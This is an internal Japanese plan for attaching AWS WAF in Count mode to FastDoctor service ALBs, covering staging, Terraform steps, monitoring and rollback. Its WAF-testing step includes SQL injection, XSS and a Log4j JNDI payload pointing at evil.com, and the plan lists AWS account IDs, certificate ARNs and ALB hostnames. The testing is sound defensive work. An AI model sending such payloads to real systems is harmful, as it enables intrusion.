Skip to content

FDサービス系 ALB + WAF 切り替え計画書

ドキュメント情報

項目内容
作成日2026-05-27
対象環境staging(事前検証)→ production
関連ドキュメント移行設計書, WAF 運用設計書(LP向け), FDサービス系WAF 運用設計書
関連Issuemental-online-karte#11666, mental-online-karte#11667

切り替えの全体フロー

各サービスごとに Phase 1 の手順を繰り返し、全サービス完了後に Phase 2 以降に進む。

: CloudFront + WAF 構成から ALB + WAF(REGIONAL)構成に変更。DNS 切替・ALB SG 制限(Phase 1.5)は不要になった。詳細は構成比較検討結果を参照。


導入順序

順序サービスAWSアカウント理由
1backend.fastdoctor.jpfd-sysトラフィック最多、障害時に最も影響大
2backend-online-karte.fstdr.jpfd-prodカルテバックエンド
3p.fstdr.jpfd-prod患者マイページ
4残りのサービスを順次-アクセス元確認結果を踏まえて決定

: 各サービスのstaging環境で事前検証を行ってからproductionに適用する。 staging環境はproductionとドメイン・アカウント・証明書が異なる。

staging環境の情報

項目stagingproduction
AWSアカウントfd-stg(770217130318), fd-dev(900176301532fd-prod / fd-sys
ドメイン*.fstdr.app, *.fd-local.net, 一部 *-stg.fstdr.jp(fd-sys staging)*.fstdr.jp, *.fastdoctor.jp
CloudFlarefstdr.app, fd-local.net, fstdr.jp*-stg サフィックス分)fstdr.jp, fastdoctor.jp
ACM証明書(us-east-1)*.fstdr.apparn:aws:acm:us-east-1:301608970378:certificate/fd7431d8-7bbf-4694-8748-3e1a36196abf
*.fd-local.netarn:aws:acm:us-east-1:301608970378:certificate/c5303446-c411-450b-8fe0-fa7b60f8527f
*.fstdr.jp, *.fastdoctor.jp
waf-shared-sets作成が必要fd-sys: あり。fd-prod: 作成が必要

: *.fstdr.jp のstaging用ACM証明書は EXPIRED(期限切れ)。staging では *.fstdr.app を使用する。

staging環境について

staging環境の対象サービス・ドメイン対応は別途ドメイン一覧として作成する。

staging環境の留意点:

  • DNS管理がサービスによってCloudFlareRoute53に分かれている場合がある。CNAME切替手順がサービスごとに異なるため、ドメイン一覧で管理先を明記する
  • p.fstdr.app は既にCloudFront経由で本番と構成差分がある
  • payment.fstdr.app はDNS未設定
  • fd-sys staging のドメインは *.fstdr.jp-stg サフィックス(backend-stg.fstdr.jp 等)

事前確認項目

#確認項目状態
1対象ALBが443/HTTPSでリスンしているかproduction: 確認済み(全ALB HTTPS only)。staging: 要確認
2ACM証明書がus-east-1に存在するか全環境確認済み。staging fd-stg: *.fstdr.app, *.fd-local.net。staging fd-dev: *.fstdr.jp, *.fastdoctor.jp, *.fd-local.net。production: *.fstdr.jp, *.fastdoctor.jp
3waf-shared-sets(共有IPセット)が存在するかfd-sys: あり。staging, fd-prod: 作成が必要
4CloudFlare DNSのTTL現在「自動」(300秒)。切替前に 60秒 に変更する
5staging環境の対象サービス・ドメイン対応要調査

Phase 1: ALB + WAF 導入(Count)

サービスごとの作業手順

各サービスについて、Step 1〜3 を順に実施する。DNS 切替は不要。


Step 1: Terraform apply — WAF 作成・ALB にアタッチ

作業内容: WAF Web ACL を作成し、ALB にアタッチする。WAF は Count モードなので既存の通信に影響なし。API Gateway サービスは別途検討。

作業場所: 対象サービスのTerraformディレクトリ

bash
# 例: backend.fastdoctor.jp の場合
cd fastdoctor-template/fd-system/production

./download-tfvar.sh
terraform plan
terraform apply
./upload-tfvar.sh

作成されるリソース:

  • WAF Web ACL(REGIONAL、全ルールCountモード、IP/UA BlacklistのみBlock)
  • IPセット(共有参照 + サービス個別(空))
  • WAFログ基盤(Kinesis Firehose → Datadog + S3)
  • ALB への WAF アタッチ

確認項目:

  • [ ] terraform apply が成功すること
  • [ ] WAF Web ACL が作成され、ALB にアタッチされていること
  • [ ] WAF ルールが設計通りであること
  • [ ] 正常系のアクセス確認(curl https://対象ドメイン/status 等で 200 が返ること)

Step 2: Datadogログ転送確認

作業内容: WAF アタッチ後、攻撃パターンのリクエストを送信し WAF ログが Datadog に届くことを確認する。

手順:

bash
# 攻撃パターンのリクエストを送信(WAFルールにCountマッチさせる)

# SQLi パターン
curl "https://対象ドメイン/test?id=1'%20OR%201=1--"

# XSS パターン
curl "https://対象ドメイン/test?q=<script>alert(1)</script>"

# Log4j パターン
curl -H "X-Custom: \${jndi:ldap://evil.com/a}" "https://対象ドメイン/status"

確認項目:

  • [ ] Datadogで source:waf のログが確認できること(Firehoseバッファ60秒後)
  • [ ] waf_host, waf_action, waf_rule タグが正しく付与されていること
  • [ ] Logging Filter が動作していること(ALLOWログは記録されず、COUNTログのみ記録)

Step 3: 導入後の監視

作業内容: WAF アタッチ後、正常に動作していることを確認する。

: アクセス数が多いサービス(backend.fastdoctor.jp, p.fstdr.jp)は、WAFログ転送先をインフラDatadogアカウントに設定している。 監視で問題がなければ、本番Datadogアカウントに切り替える。

導入直後(1時間):

  • [ ] Datadogで WAFログを5分ごとに確認
    • Blockされたリクエストがないか(IP/UA Blacklist以外でBlockが出ていたら異常)
    • Countが異常に多いルールがないか
  • [ ] ALB のリクエスト数が導入前と比べて極端に減少していないことを確認(WAF が正規リクエストを誤 Block していないかの裏付け)
  • [ ] ALB のエラーレート(5xx)が増加していないことを確認(WAF で先に弾かれるはずだが念のため)
  • [ ] ユーザーからの障害報告がないこと

導入後1日:

  • [ ] WAFログの Count 数を確認
    • 誤検知パターン: 正規リクエストがCRS/SQLi等にマッチしていないか
    • 攻撃検知: 実際の攻撃が検知されているか(国外IP、Bot、SQLi試行等)
  • [ ] アクセスパターンの確認(アクセス元IP、国別分布)
  • [ ] Datadogログ量が想定内か確認

導入後1-2週間(Phase 1 監視期間):

  • [ ] 各ルールの Count マッチ数・パターンを監視
  • [ ] 誤検知パターンの収集
  • [ ] サービスごとのアクセス要件を整理
  • [ ] 問題がなければWAFログ転送先を本番Datadogアカウントに切り替える

切り戻し手順

問題発生時の切り戻し手順。WAF を ALB から detach するだけで即座に復旧。

  1. Terraform で WAF アタッチ設定を削除して apply(または AWS コンソールで WAF Web ACL を ALB から disassociate)
  2. WAF が即座に無効化され、元の ALB 直接アクセスに戻る
  3. 関係者に切り戻し完了を報告

切り戻し判断基準:

  • エラーレートが急増している
  • ユーザーから障害報告が複数あがっている

: WAF Web ACL リソース自体は削除しない。ALB から disassociate するだけで切り戻し完了。原因調査後に再度アタッチできる。


対象サービスごとの設定値

fd-sys アカウント(*.fastdoctor.jp

項目backend.fastdoctor.jp
WAFアタッチ先ALB(fastdoctor-manager-prd-app-383969541.us-east-1.elb.amazonaws.com
WAFスコープREGIONAL
WAFルール全Count(設計書Phase 1構成)
WAFログFirehose → Datadog(インフラアカウント)+ S3

fd-prod アカウント(*.fstdr.jp

項目backend-online-karte.fstdr.jpp.fstdr.jp
WAFアタッチ先ALB(online-karte-service-2073905677.ap-northeast-1.elb.amazonaws.comALB(online-patient-mypage-1403221813.us-east-1.elb.amazonaws.com
WAFスコープREGIONALREGIONAL
WAFルール全Count(設計書Phase 1構成)同左
WAFログFirehose → Datadog(インフラアカウント)+ S3Firehose → Datadog(インフラアカウント)+ S3

Phase 2: Count → Block化(概要)

Phase 1 完了後、誤検知リスクが低いルールから段階的にBlockに切り替える。 詳細は 移行設計書 の Phase 2 を参照。

切替順序:

  1. Amazon IP Reputation List
  2. Anonymous IP List
  3. Known Bad Inputs
  4. SQLi Rule Set
  5. Core Rule Set (CRS)

Phase 3: 追加ルール・最適化(概要)

Phase 2 が安定した後、必要に応じて以下を検討。 詳細は 移行設計書 の Phase 3 を参照。

  • Rate-based ルール
  • Label-based 除外パターン
  • CloudFront のキャッシュ導入検討(必要な場合。CloudFront 固有の制約があるため staging で十分に検証すること)

変更履歴

日付バージョン変更内容担当
2026-05-271.0初版作成大賀
2026-06-082.0CloudFront + WAF → ALB + WAF(REGIONAL)に方針変更。DNS 切替・Phase 1.5(ALB SG 制限)を削除大賀